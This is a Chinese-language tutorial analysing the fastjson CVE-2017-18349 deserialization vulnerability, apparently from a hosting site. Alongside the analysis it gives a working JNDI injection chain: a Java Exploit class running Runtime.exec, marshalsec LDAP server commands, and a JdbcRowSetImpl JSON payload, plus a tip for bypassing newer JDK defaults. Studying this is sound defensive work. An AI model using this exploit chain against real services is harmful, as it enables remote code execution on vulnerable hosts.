您好,登錄后才能下訂單哦!
如何進(jìn)行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析,針對(duì)這個(gè)問題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡(jiǎn)單易行的方法。
下面將對(duì)fastjson<1.2.25反序列漏洞進(jìn)行漏洞原理分析、本地調(diào)試驗(yàn)證等。
Fastjson<1.2.25
@type屬性:Fastjson支持在json數(shù)據(jù)中使用@type屬性,該json數(shù)據(jù)會(huì)被反序列化成指定的對(duì)象類型,在反序列化過程中fastjson會(huì)調(diào)用parse(jsonStr)函數(shù)嘗試對(duì)對(duì)象的屬性進(jìn)行賦值,若對(duì)象的javabean存在屬性的setter方法則調(diào)用set方法,反之調(diào)用get方法。
import java.util.Map; public class User { private String name; private Map map; public String getName() { System.out.println("getName is running ..."); return name; } public void setName(String name) { System.out.println("setName is running ..."); this.name = name; } @Override public String toString() { return "User{" + "name='" + name + '\'' + '}'; } public Map getmap() { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } return map; } } public class Test { public static void main(String[] args) { String json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\"}"; json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\",\"map\":{}}"; Object obj = JSON.parse(json); System.out.println(obj); //輸出User{name='zhangsan'},彈出計(jì)算器 } }
經(jīng)過代碼追蹤,發(fā)現(xiàn)屬性賦值是在FieldDeserializer.java的setValue函數(shù)中,因?yàn)閙ap屬性不存在set方法,故在setValue函數(shù)中fieldInfo.getOnly為true,method為getmap方法
public void setValue(Object object, Object value) { if (value == null // && fieldInfo.fieldClass.isPrimitive()) { return; } try { Method method = fieldInfo.method; if (method != null) { if (fieldInfo.getOnly) {//set方法不存在,根據(jù)類型調(diào)用get方法 if (fieldInfo.fieldClass == AtomicInteger.class) { AtomicInteger atomic = (AtomicInteger) method.invoke(object); if (atomic != null) { atomic.set(((AtomicInteger) value).get()); } } else if (fieldInfo.fieldClass == AtomicLong.class) { AtomicLong atomic = (AtomicLong) method.invoke(object); if (atomic != null) { atomic.set(((AtomicLong) value).get()); } } else if (fieldInfo.fieldClass == AtomicBoolean.class) { AtomicBoolean atomic = (AtomicBoolean) method.invoke(object); if (atomic != null) { atomic.set(((AtomicBoolean) value).get()); } } else if (Map.class.isAssignableFrom(method.getReturnType())) { Map map = (Map) method.invoke(object); if (map != null) { map.putAll((Map) value); } } else { Collection collection = (Collection) method.invoke(object); if (collection != null) { collection.addAll((Collection) value); } } } else {//set方法存在,調(diào)用set方法 method.invoke(object, value); } return; }
調(diào)試可以發(fā)現(xiàn)調(diào)用鏈如下:
(2)漏洞利用,經(jīng)過上述分析,滿足一下任意條件可進(jìn)行RCE
找到一個(gè)類,存在一個(gè)屬性,屬性類型為AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一種類型,定義了屬性的get方法但未定義set方法,在get方法中可構(gòu)造gadget鏈達(dá)到代碼執(zhí)行目的。
找到一個(gè)類,存在一個(gè)屬性,定義了set方法,在方法中可構(gòu)造gadget鏈達(dá)到代碼執(zhí)行目的。
找到一個(gè)類JdbcRowSetImpl,在變量autoCommit的set函數(shù)中,會(huì)調(diào)用connect函數(shù):
connect函數(shù)中,會(huì)獲取private成員變量dataSourceName,作為lookup函數(shù)的參數(shù)進(jìn)行服務(wù)獲取,這時(shí)JNDI注入攻擊走起:
步驟1:?jiǎn)?dòng)HTTP服務(wù)并放置構(gòu)造函數(shù)具有RCE的攻擊類,啟動(dòng)LDAP服務(wù)
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.rmi.Remote; import java.rmi.server.UnicastRemoteObject; import java.util.Hashtable; public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote { public Exploit() throws IOException { System.out.println("Exploit"); Runtime.getRuntime().exec("calc"); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("getObjectInstance"); Runtime.getRuntime().exec("calc"); return null; } }
python -m SimpleHTTPServer 80 java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777
步驟2:觸發(fā)json解析,實(shí)現(xiàn)計(jì)算器彈窗
String className = "com.sun.rowset.JdbcRowSetImpl"; String dataSourceName = "ldap://127.0.0.1:7777/any"; json = "{\"@type\":\"" + className + "\"," + "\"dataSourceName\":\"" + dataSourceName + "\"," + "\"autoCommit\":true" + "}"; //JDK 8u191及以后,默認(rèn)為false,以下為了調(diào)試手工改了配置 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); JSON.parse(json);
針對(duì)高版本JDK,默認(rèn)配置限制了遠(yuǎn)程factory類的下載,實(shí)際環(huán)境中可以用LDAP+本地反序列化的方式去進(jìn)行利用。
關(guān)于如何進(jìn)行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析問題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。